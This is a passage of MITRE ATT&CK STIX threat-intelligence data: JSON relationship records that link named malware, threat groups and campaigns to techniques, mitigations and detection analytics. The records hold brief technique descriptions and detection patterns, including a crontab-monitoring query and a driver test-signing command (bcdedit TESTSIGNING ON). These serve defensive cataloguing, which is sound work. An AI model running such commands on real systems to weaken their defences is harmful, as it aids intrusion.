2018)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5572fe7a-65fd-4fda-88ba-3e0b5711876d","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for the execution of commands that could modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON. (Citation: Microsoft TESTSIGNING Feb 2021)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft TESTSIGNING Feb 2021","description":"Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5574a01e-efcc-49d6-8692-30c97c611397","type":"relationship","created":"2020-02-28T15:22:27.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2022-03-08T21:45:02.564Z","description":"Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-30T18:15:56.901Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5576c61b-2564-407d-9c25-7d155fc8e7b8","created":"2024-03-13T21:00:33.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T13:19:32.130Z","description":"(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5577d7ff-58ee-4513-bf01-3be1a60ac2c9","created":"2019-01-29T21:27:25.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.988Z","description":"[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--557d3feb-0699-429e-bc83-ff114cf138ef","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","source_name":"Unit 42 QUADAGENT July 2018"},{"description":"Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/","source_name":"Crowdstrike Helix Kitten Nov 2018"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-05T15:32:45.441Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has delivered macro-enabled documents that required targets to click the \"enable content\" button to execute the payload on the system.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5580b0f6-7679-46c3-adb5-270c87f8ef69","created":"2022-04-10T17:42:52.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"RecordedFuture WhisperGate Jan 2022","description":"Insikt Group. (2020, January 28). WhisperGate Malware Corrupts Computers in Ukraine. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/whispergate-malware-corrupts-computers-ukraine"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:21:40.330Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) has used the `ExitWindowsEx` to flush file buffers to disk and stop running processes and other API calls.(Citation: Cisco Ukraine Wipers January 2022)(Citation: RecordedFuture WhisperGate Jan 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--558b32a6-f870-4d7f-bbdd-1590e21db2c3","created":"2024-09-16T08:35:58.994Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:35:58.994Z","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) is often disguised as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--558d7ab6-8c3c-44dd-bba5-d5bb3891aae4","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T12:49:54.090Z","description":"Monitor for newly constructed scheduled jobs. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.\n\nAnalytic 1 - Look for new cron job creation events with unusual parameters.\n\n index=os_logs sourcetype=syslog (command=\"*crontab -e*\" OR command=\"*crontab -l*\")\n| stats count by user host\n| where user != \"root\" OR count > 1","relationship_type":"detects","source_ref":"x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5599906d-5be3-420c-9f84-e762d85c2511","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.621Z","description":"[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture audio from a victim machine.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--559c0d59-16a7-4c1c-801d-6c8c32ffc5ce","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2019-06-28T20:48:52.534Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has been observed using a Registry Run key.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--559d4b9f-55ed-4626-9be2-a64638d0bfc3","type":"relationship","created":"2020-10-15T12:05:58.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-15T12:05:58.968Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--559dfd54-de33-4cfc-aeec-617cd545e870","created":"2019-01-29T21:27:25.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.989Z","description":"[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim’s machine.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55a12a15-04fc-49b9-b268-245cb4559bcf","created":"2024-05-29T19:54:15.341Z","revoked":false,"external_references":[{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T19:54:15.341Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can designate a sleep period of more than 22 seconds between stages of infection.(Citation: Sophos Gootloader)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55a9fab0-30f8-45f5-b48d-7edbd961404d","type":"relationship","created":"2021-10-06T21:37:07.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-15T03:11:44.531Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) adds malicious code to a host's Xcode projects by enumerating CocoaPods target_integrator.rb files under the /Library/Ruby/Gems folder or enumerates all .xcodeproj folders under a given directory. [XCSSET](https://attack.mitre.org/software/S0658) then downloads a script and Mach-O file into the Xcode project folder.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55aa08a3-d33a-465b-8d48-d25566ce0957","type":"relationship","created":"2020-05-18T21:01:51.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.376Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) used shell scripts to launch various services and to start/stop the QEMU virtualization.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55ac2bf6-d8a3-408e-a267-e985d02d72ba","created":"2023-09-15T16:42:24.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:11:10.024Z","description":"Monitor for several ways that code can execute on a remote host. One of the most common methods is via the Windows Service Control Manager (SCM), which allows authorized users to remotely create and modify services. Several tools, such as [PsExec](https://attack.mitre.org/software/S0029), use this functionality.\n\nWhen a client remotely communicates with the Service Control Manager, there are two observable behaviors. First, the client connects to the RPC Endpoint Mapper over 135/tcp. This handles authentication, and tells the client what port the endpoint—in this case the SCM—is listening on. Then, the client connects directly to the listening port on services.exe. If the request is to start an existing service with a known command line, the the SCM process will run the corresponding command.\n\nThis compound behavior can be detected by looking for services.exe receiving a network connection and immediately spawning a child process.","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55af3bd0-d523-4394-99c6-182114c5cdc2","type":"relationship","created":"2021-04-09T13:34:37.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.693Z","description":"[Doki](https://attack.mitre.org/software/S0600) has used Ngrok to establish C2 and exfiltrate data.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55af723a-6ca6-449d-be8e-d61a067fbefd","created":"2022-06-10T12:51:32.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:44:25.478Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has gained access to internet-facing systems and applications, including virtual private network (VPN), remote desktop protocol (RDP), and virtual desktop infrastructure (VDI) including Citrix. (Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55b0cb4d-1109-449c-82f6-ed42317df209","type":"relationship","created":"2022-03-25T14:39:05.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:39:05.395Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used Putty for remote access.(Citation: Symantec Palmerworm Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55b619f6-daf8-4126-99b9-65db277da82c","created":"2023-09-28T03:39:40.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-01T14:18:01.005Z","description":"Monitor for the creation of volume shadow copy and backup files, especially unexpected and irregular activity (relative to time, user, etc.).","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55b8f35b-7ccc-4da7-9ab1-40fe148cd182","type":"relationship","created":"2019-06-24T13:13:57.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2019-07-06T22:20:35.261Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) communicates with a simple network protocol over TCP.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55b9483d-2d73-433c-ad5a-d29dcce6e4e4","created":"2022-10-06T21:20:55.089Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:20:55.089Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net accounts` command as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55c21d63-7c56-4025-97dc-bb1bced3aa58","created":"2024-03-28T15:47:50.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:14:19.092Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) planted Web shells on Outlook Exchange servers.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55c7a861-5b9d-43f6-9430-914a35f9af77","type":"relationship","created":"2019-01-30T15:47:41.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-20T16:06:56.276Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) can open a reverse shell on the system to execute commands.(Citation: TrendMicro Lazarus Nov 